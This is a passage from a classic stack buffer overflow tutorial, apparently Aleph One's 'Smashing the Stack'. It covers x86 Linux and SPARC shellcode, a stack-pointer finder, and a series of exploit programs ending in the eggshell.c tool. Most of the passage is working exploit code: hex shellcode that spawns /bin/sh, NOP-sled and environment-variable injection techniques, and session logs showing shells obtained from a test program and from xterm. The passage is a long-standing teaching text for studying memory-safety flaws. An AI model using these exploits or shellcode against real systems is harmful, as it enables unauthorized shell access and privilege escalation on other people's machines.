| movl %ebx,%eax # 2 bytes |
| inc %eax # 1 bytes |
| int $0x80 # 2 bytes |
| call -0x24 # 5 bytes |
| .string \"/bin/sh\" # 8 bytes |
| # 46 bytes total |
| "); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| And our new test program: |
|
|
| testsc2.c |
| ------------------------------------------------------------------------------ |
| char shellcode[] = |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; |
|
|
| void main() { |
| int *ret; |
|
|
| ret = (int *)&ret + 2; |
| (*ret) = (int)shellcode; |
|
|
| } |
| ------------------------------------------------------------------------------ |
| ------------------------------------------------------------------------------ |
| [aleph1]$ gcc -o testsc2 testsc2.c |
| [aleph1]$ ./testsc2 |
| $ exit |
| [aleph1]$ |
| ------------------------------------------------------------------------------ |
|
|
|
|
| Writing an Exploit |
| ~~~~~~~~~~~~~~~~~~ |
| (or how to mung the stack) |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~ |
|
|
|
|
| Lets try to pull all our pieces together. We have the shellcode. We know |
| it must be part of the string which we'll use to overflow the buffer. We |
| know we must point the return address back into the buffer. This example will |
| demonstrate these points: |
|
|
| overflow1.c |
| ------------------------------------------------------------------------------ |
| char shellcode[] = |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; |
|
|
| char large_string[128]; |
|
|
| void main() { |
| char buffer[96]; |
| int i; |
| long *long_ptr = (long *) large_string; |
|
|
| for (i = 0; i < 32; i++) |
| *(long_ptr + i) = (int) buffer; |
|
|
| for (i = 0; i < strlen(shellcode); i++) |
| large_string[i] = shellcode[i]; |
|
|
| strcpy(buffer,large_string); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ gcc -o exploit1 exploit1.c |
| [aleph1]$ ./exploit1 |
| $ exit |
| exit |
| [aleph1]$ |
| ------------------------------------------------------------------------------ |
|
|
| What we have done above is filled the array large_string[] with the |
| address of buffer[], which is where our code will be. Then we copy our |
| shellcode into the beginning of the large_string string. strcpy() will then |
| copy large_string onto buffer without doing any bounds checking, and will |
| overflow the return address, overwriting it with the address where our code |
| is now located. Once we reach the end of main and it tried to return it |
| jumps to our code, and execs a shell. |
|
|
| The problem we are faced when trying to overflow the buffer of another |
| program is trying to figure out at what address the buffer (and thus our |
| code) will be. The answer is that for every program the stack will |
| start at the same address. Most programs do not push more than a few hundred |
| or a few thousand bytes into the stack at any one time. Therefore by knowing |
| where the stack starts we can try to guess where the buffer we are trying to |
| overflow will be. Here is a little program that will print its stack |
| pointer: |
|
|
| sp.c |
| ------------------------------------------------------------------------------ |
| unsigned long get_sp(void) { |
| __asm__("movl %esp,%eax"); |
| } |
| void main() { |
| printf("0x%x\n", get_sp()); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ ./sp |
| 0x8000470 |
| [aleph1]$ |
| ------------------------------------------------------------------------------ |
|
|
| Lets assume this is the program we are trying to overflow is: |
|
|
| vulnerable.c |
| ------------------------------------------------------------------------------ |
| void main(int argc, char *argv[]) { |
| char buffer[512]; |
|
|
| if (argc > 1) |
| strcpy(buffer,argv[1]); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| We can create a program that takes as a parameter a buffer size, and an |
| offset from its own stack pointer (where we believe the buffer we want to |
| overflow may live). We'll put the overflow string in an environment variable |
| so it is easy to manipulate: |
|
|
| exploit2.c |
| ------------------------------------------------------------------------------ |
| #include <stdlib.h> |
|
|
| #define DEFAULT_OFFSET 0 |
| #define DEFAULT_BUFFER_SIZE 512 |
|
|
| char shellcode[] = |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; |
|
|
| unsigned long get_sp(void) { |
| __asm__("movl %esp,%eax"); |
| } |
|
|
| void main(int argc, char *argv[]) { |
| char *buff, *ptr; |
| long *addr_ptr, addr; |
| int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; |
| int i; |
|
|
| if (argc > 1) bsize = atoi(argv[1]); |
| if (argc > 2) offset = atoi(argv[2]); |
|
|
| if (!(buff = malloc(bsize))) { |
| printf("Can't allocate memory.\n"); |
| exit(0); |
| } |
|
|
| addr = get_sp() - offset; |
| printf("Using address: 0x%x\n", addr); |
|
|
| ptr = buff; |
| addr_ptr = (long *) ptr; |
| for (i = 0; i < bsize; i+=4) |
| *(addr_ptr++) = addr; |
|
|
| ptr += 4; |
| for (i = 0; i < strlen(shellcode); i++) |
| *(ptr++) = shellcode[i]; |
|
|
| buff[bsize - 1] = '\0'; |
|
|
| memcpy(buff,"EGG=",4); |
| putenv(buff); |
| system("/bin/bash"); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| Now we can try to guess what the buffer and offset should be: |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ ./exploit2 500 |
| Using address: 0xbffffdb4 |
| [aleph1]$ ./vulnerable $EGG |
| [aleph1]$ exit |
| [aleph1]$ ./exploit2 600 |
| Using address: 0xbffffdb4 |
| [aleph1]$ ./vulnerable $EGG |
| Illegal instruction |
| [aleph1]$ exit |
| [aleph1]$ ./exploit2 600 100 |
| Using address: 0xbffffd4c |
| [aleph1]$ ./vulnerable $EGG |
| Segmentation fault |
| [aleph1]$ exit |
| [aleph1]$ ./exploit2 600 200 |
| Using address: 0xbffffce8 |
| [aleph1]$ ./vulnerable $EGG |
| Segmentation fault |
| [aleph1]$ exit |
| . |
| . |
| . |
| [aleph1]$ ./exploit2 600 1564 |
| Using address: 0xbffff794 |
| [aleph1]$ ./vulnerable $EGG |
| $ |
| ------------------------------------------------------------------------------ |
|
|
| As we can see this is not an efficient process. Trying to guess the |
| offset even while knowing where the beginning of the stack lives is nearly |
| impossible. We would need at best a hundred tries, and at worst a couple of |
| thousand. The problem is we need to guess *exactly* where the address of our |
| code will start. If we are off by one byte more or less we will just get a |
| segmentation violation or a invalid instruction. One way to increase our |
| chances is to pad the front of our overflow buffer with NOP instructions. |
| Almost all processors have a NOP instruction that performs a null operation. |
| It is usually used to delay execution for purposes of timing. We will take |
| advantage of it and fill half of our overflow buffer with them. We will place |
| our shellcode at the center, and then follow it with the return addresses. If |
| we are lucky and the return address points anywhere in the string of NOPs, |
| they will just get executed until they reach our code. In the Intel |
| architecture the NOP instruction is one byte long and it translates to 0x90 |
| in machine code. Assuming the stack starts at address 0xFF, that S stands for |
| shell code, and that N stands for a NOP instruction the new stack would look |
| like this: |
|
|
| bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of |
| memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory |
| buffer sfp ret a b c |
|
|
| <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] |
| ^ | |
| |_____________________| |
| top of bottom of |
| stack stack |
|
|
| The new exploits is then: |
|
|
| exploit3.c |
| ------------------------------------------------------------------------------ |
| #include <stdlib.h> |
|
|
| #define DEFAULT_OFFSET 0 |
| #define DEFAULT_BUFFER_SIZE 512 |
| #define NOP 0x90 |
|
|
| char shellcode[] = |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; |
|
|
| unsigned long get_sp(void) { |
| __asm__("movl %esp,%eax"); |
| } |
|
|
| void main(int argc, char *argv[]) { |
| char *buff, *ptr; |
| long *addr_ptr, addr; |
| int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; |
| int i; |
|
|
| if (argc > 1) bsize = atoi(argv[1]); |
| if (argc > 2) offset = atoi(argv[2]); |
|
|
| if (!(buff = malloc(bsize))) { |
| printf("Can't allocate memory.\n"); |
| exit(0); |
| } |
|
|
| addr = get_sp() - offset; |
| printf("Using address: 0x%x\n", addr); |
|
|
| ptr = buff; |
| addr_ptr = (long *) ptr; |
| for (i = 0; i < bsize; i+=4) |
| *(addr_ptr++) = addr; |
|
|
| for (i = 0; i < bsize/2; i++) |
| buff[i] = NOP; |
|
|
| ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); |
| for (i = 0; i < strlen(shellcode); i++) |
| *(ptr++) = shellcode[i]; |
|
|
| buff[bsize - 1] = '\0'; |
|
|
| memcpy(buff,"EGG=",4); |
| putenv(buff); |
| system("/bin/bash"); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| A good selection for our buffer size is about 100 bytes more than the size |
| of the buffer we are trying to overflow. This will place our code at the end |
| of the buffer we are trying to overflow, giving a lot of space for the NOPs, |
| but still overwriting the return address with the address we guessed. The |
| buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's |
| try to overflow our test program with our new exploit: |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ ./exploit3 612 |
| Using address: 0xbffffdb4 |
| [aleph1]$ ./vulnerable $EGG |
| $ |
| ------------------------------------------------------------------------------ |
|
|
| Whoa! First try! This change has improved our chances a hundredfold. |
| Let's try it now on a real case of a buffer overflow. We'll use for our |
| demonstration the buffer overflow on the Xt library. For our example, we'll |
| use xterm (all programs linked with the Xt library are vulnerable). You must |
| be running an X server and allow connections to it from the localhost. Set |
| your DISPLAY variable accordingly. |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ export DISPLAY=:0.0 |
| [aleph1]$ ./exploit3 1124 |
| Using address: 0xbffffdb4 |
| [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG |
| Warning: Color name "^1FF |
| |
| V |
|
|
| 1@/bin/sh |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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| ^C |
| [aleph1]$ exit |
| [aleph1]$ ./exploit3 2148 100 |
| Using address: 0xbffffd48 |
| [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG |
| Warning: Color name "^1FF |
| |
| V |
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| 1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH |
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| HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH |
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| HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH |
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| HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH |
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| HHHHHHHHHHHH |
| Warning: some arguments in previous message were lost |
| Illegal instruction |
| [aleph1]$ exit |
| . |
| . |
| . |
| [aleph1]$ ./exploit4 2148 600 |
| Using address: 0xbffffb54 |
| [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG |
| Warning: Color name "^1FF |
| |
| V |
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| 1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT |
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| TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT |
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| TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT |
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| TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT |
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| TTTTTTTTTTTT |
| Warning: some arguments in previous message were lost |
| bash$ |
| ------------------------------------------------------------------------------ |
|
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| Eureka! Less than a dozen tries and we found the magic numbers. If xterm |
| where installed suid root this would now be a root shell. |
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| Small Buffer Overflows |
| ~~~~~~~~~~~~~~~~~~~~~~ |
|
|
| There will be times when the buffer you are trying to overflow is so |
| small that either the shellcode wont fit into it, and it will overwrite the |
| return address with instructions instead of the address of our code, or the |
| number of NOPs you can pad the front of the string with is so small that the |
| chances of guessing their address is minuscule. To obtain a shell from these |
| programs we will have to go about it another way. This particular approach |
| only works when you have access to the program's environment variables. |
|
|
| What we will do is place our shellcode in an environment variable, and |
| then overflow the buffer with the address of this variable in memory. This |
| method also increases your changes of the exploit working as you can make |
| the environment variable holding the shell code as large as you want. |
|
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| The environment variables are stored in the top of the stack when the |
| program is started, any modification by setenv() are then allocated |
| elsewhere. The stack at the beginning then looks like this: |
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| <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp> |
|
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| Our new program will take an extra variable, the size of the variable |
| containing the shellcode and NOPs. Our new exploit now looks like this: |
|
|
| exploit4.c |
| ------------------------------------------------------------------------------ |
| #include <stdlib.h> |
|
|
| #define DEFAULT_OFFSET 0 |
| #define DEFAULT_BUFFER_SIZE 512 |
| #define DEFAULT_EGG_SIZE 2048 |
| #define NOP 0x90 |
|
|
| char shellcode[] = |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; |
|
|
| unsigned long get_esp(void) { |
| __asm__("movl %esp,%eax"); |
| } |
|
|
| void main(int argc, char *argv[]) { |
| char *buff, *ptr, *egg; |
| long *addr_ptr, addr; |
| int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; |
| int i, eggsize=DEFAULT_EGG_SIZE; |
|
|
| if (argc > 1) bsize = atoi(argv[1]); |
| if (argc > 2) offset = atoi(argv[2]); |
| if (argc > 3) eggsize = atoi(argv[3]); |
|
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|
|
| if (!(buff = malloc(bsize))) { |
| printf("Can't allocate memory.\n"); |
| exit(0); |
| } |
| if (!(egg = malloc(eggsize))) { |
| printf("Can't allocate memory.\n"); |
| exit(0); |
| } |
|
|
| addr = get_esp() - offset; |
| printf("Using address: 0x%x\n", addr); |
|
|
| ptr = buff; |
| addr_ptr = (long *) ptr; |
| for (i = 0; i < bsize; i+=4) |
| *(addr_ptr++) = addr; |
|
|
| ptr = egg; |
| for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) |
| *(ptr++) = NOP; |
|
|
| for (i = 0; i < strlen(shellcode); i++) |
| *(ptr++) = shellcode[i]; |
|
|
| buff[bsize - 1] = '\0'; |
| egg[eggsize - 1] = '\0'; |
|
|
| memcpy(egg,"EGG=",4); |
| putenv(egg); |
| memcpy(buff,"RET=",4); |
| putenv(buff); |
| system("/bin/bash"); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| Lets try our new exploit with our vulnerable test program: |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ ./exploit4 768 |
| Using address: 0xbffffdb0 |
| [aleph1]$ ./vulnerable $RET |
| $ |
| ------------------------------------------------------------------------------ |
|
|
| Works like a charm. Now lets try it on xterm: |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ export DISPLAY=:0.0 |
| [aleph1]$ ./exploit4 2148 |
| Using address: 0xbffffdb0 |
| [aleph1]$ /usr/X11R6/bin/xterm -fg $RET |
| Warning: Color name |
| " |
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| Warning: some arguments in previous message were lost |
| $ |
| ------------------------------------------------------------------------------ |
|
|
| On the first try! It has certainly increased our odds. Depending how |
| much environment data the exploit program has compared with the program |
| you are trying to exploit the guessed address may be to low or to high. |
| Experiment both with positive and negative offsets. |
|
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|
|
| Finding Buffer Overflows |
| ~~~~~~~~~~~~~~~~~~~~~~~~ |
|
|
| As stated earlier, buffer overflows are the result of stuffing more |
| information into a buffer than it is meant to hold. Since C does not have any |
| built-in bounds checking, overflows often manifest themselves as writing past |
| the end of a character array. The standard C library provides a number of |
| functions for copying or appending strings, that perform no boundary checking. |
| They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions |
| operate on null-terminated strings, and do not check for overflow of the |
| receiving string. gets() is a function that reads a line from stdin into |
| a buffer until either a terminating newline or EOF. It performs no checks for |
| buffer overflows. The scanf() family of functions can also be a problem if |
| you are matching a sequence of non-white-space characters (%s), or matching a |
| non-empty sequence of characters from a specified set (%[]), and the array |
| pointed to by the char pointer, is not large enough to accept the whole |
| sequence of characters, and you have not defined the optional maximum field |
| width. If the target of any of these functions is a buffer of static size, |
| and its other argument was somehow derived from user input there is a good |
| posibility that you might be able to exploit a buffer overflow. |
|
|
| Another usual programming construct we find is the use of a while loop to |
| read one character at a time into a buffer from stdin or some file until the |
| end of line, end of file, or some other delimiter is reached. This type of |
| construct usually uses one of these functions: getc(), fgetc(), or getchar(). |
| If there is no explicit checks for overflows in the while loop, such programs |
| are easily exploited. |
|
|
| To conclude, grep(1) is your friend. The sources for free operating |
| systems and their utilities is readily available. This fact becomes quite |
| interesting once you realize that many comercial operating systems utilities |
| where derived from the same sources as the free ones. Use the source d00d. |
|
|
|
|
| Appendix A - Shellcode for Different Operating Systems/Architectures |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
|
|
| i386/Linux |
| ------------------------------------------------------------------------------ |
| jmp 0x1f |
| popl %esi |
| movl %esi,0x8(%esi) |
| xorl %eax,%eax |
| movb %eax,0x7(%esi) |
| movl %eax,0xc(%esi) |
| movb $0xb,%al |
| movl %esi,%ebx |
| leal 0x8(%esi),%ecx |
| leal 0xc(%esi),%edx |
| int $0x80 |
| xorl %ebx,%ebx |
| movl %ebx,%eax |
| inc %eax |
| int $0x80 |
| call -0x24 |
| .string \"/bin/sh\" |
| ------------------------------------------------------------------------------ |
|
|
| SPARC/Solaris |
| ------------------------------------------------------------------------------ |
| sethi 0xbd89a, %l6 |
| or %l6, 0x16e, %l6 |
| sethi 0xbdcda, %l7 |
| and %sp, %sp, %o0 |
| add %sp, 8, %o1 |
| xor %o2, %o2, %o2 |
| add %sp, 16, %sp |
| std %l6, [%sp - 16] |
| st %sp, [%sp - 8] |
| st %g0, [%sp - 4] |
| mov 0x3b, %g1 |
| ta 8 |
| xor %o7, %o7, %o0 |
| mov 1, %g1 |
| ta 8 |
| ------------------------------------------------------------------------------ |
|
|
| SPARC/SunOS |
| ------------------------------------------------------------------------------ |
| sethi 0xbd89a, %l6 |
| or %l6, 0x16e, %l6 |
| sethi 0xbdcda, %l7 |
| and %sp, %sp, %o0 |
| add %sp, 8, %o1 |
| xor %o2, %o2, %o2 |
| add %sp, 16, %sp |
| std %l6, [%sp - 16] |
| st %sp, [%sp - 8] |
| st %g0, [%sp - 4] |
| mov 0x3b, %g1 |
| mov -0x1, %l5 |
| ta %l5 + 1 |
| xor %o7, %o7, %o0 |
| mov 1, %g1 |
| ta %l5 + 1 |
| ------------------------------------------------------------------------------ |
|
|
|
|
| Appendix B - Generic Buffer Overflow Program |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
|
|
| shellcode.h |
| ------------------------------------------------------------------------------ |
| #if defined(__i386__) && defined(__linux__) |
|
|
| #define NOP_SIZE 1 |
| char nop[] = "\x90"; |
| char shellcode[] = |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; |
|
|
| unsigned long get_sp(void) { |
| __asm__("movl %esp,%eax"); |
| } |
|
|
| #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) |
|
|
| #define NOP_SIZE 4 |
| char nop[]="\xac\x15\xa1\x6e"; |
| char shellcode[] = |
| "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" |
| "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" |
| "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" |
| "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; |
|
|
| unsigned long get_sp(void) { |
| __asm__("or %sp, %sp, %i0"); |
| } |
|
|
| #elif defined(__sparc__) && defined(__sun__) |
|
|
| #define NOP_SIZE 4 |
| char nop[]="\xac\x15\xa1\x6e"; |
| char shellcode[] = |
| "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" |
| "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" |
| "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" |
| "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; |
|
|
| unsigned long get_sp(void) { |
| __asm__("or %sp, %sp, %i0"); |
| } |
|
|
| #endif |
| ------------------------------------------------------------------------------ |
|
|
| eggshell.c |
| ------------------------------------------------------------------------------ |
| /* |
| * eggshell v1.0 |
| * |
| * Aleph One / aleph1@underground.org |
| */ |
| #include <stdlib.h> |
| #include <stdio.h> |
| #include "shellcode.h" |
|
|
| #define DEFAULT_OFFSET 0 |
| #define DEFAULT_BUFFER_SIZE 512 |
| #define DEFAULT_EGG_SIZE 2048 |
|
|
| void usage(void); |
|
|
| void main(int argc, char *argv[]) { |
| char *ptr, *bof, *egg; |
| long *addr_ptr, addr; |
| int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; |
| int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; |
|
|
| while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) |
| switch (c) { |
| case 'a': |
| align = atoi(optarg); |
| break; |
| case 'b': |
| bsize = atoi(optarg); |
| break; |
| case 'e': |
| eggsize = atoi(optarg); |
| break; |
| case 'o': |
| offset = atoi(optarg); |
| break; |
| case '?': |
| usage(); |
| exit(0); |
| } |
|
|
| if (strlen(shellcode) > eggsize) { |
| printf("Shellcode is larger the the egg.\n"); |
| exit(0); |
| } |
|
|
| if (!(bof = malloc(bsize))) { |
| printf("Can't allocate memory.\n"); |
| exit(0); |
| } |
| if (!(egg = malloc(eggsize))) { |
| printf("Can't allocate memory.\n"); |
| exit(0); |
| } |
|
|
| addr = get_sp() - offset; |
| printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", |
| bsize, eggsize, align); |
| printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); |
|
|
| addr_ptr = (long *) bof; |
| for (i = 0; i < bsize; i+=4) |
| *(addr_ptr++) = addr; |
|
|
| ptr = egg; |
| for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) |
| for (n = 0; n < NOP_SIZE; n++) { |
| m = (n + align) % NOP_SIZE; |
| *(ptr++) = nop[m]; |
| } |
|
|
| for (i = 0; i < strlen(shellcode); i++) |
| *(ptr++) = shellcode[i]; |
|
|
| bof[bsize - 1] = '\0'; |
| egg[eggsize - 1] = '\0'; |
|
|
| memcpy(egg,"EGG=",4); |
| putenv(egg); |
|
|
| memcpy(bof,"BOF=",4); |
| putenv(bof); |
| system("/bin/sh"); |
| } |
|
|
| void usage(void) { |
| (void)fprintf(stderr, |
| "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n"); |
| } |
| ------------------------------------------------------------------------------ |
|
|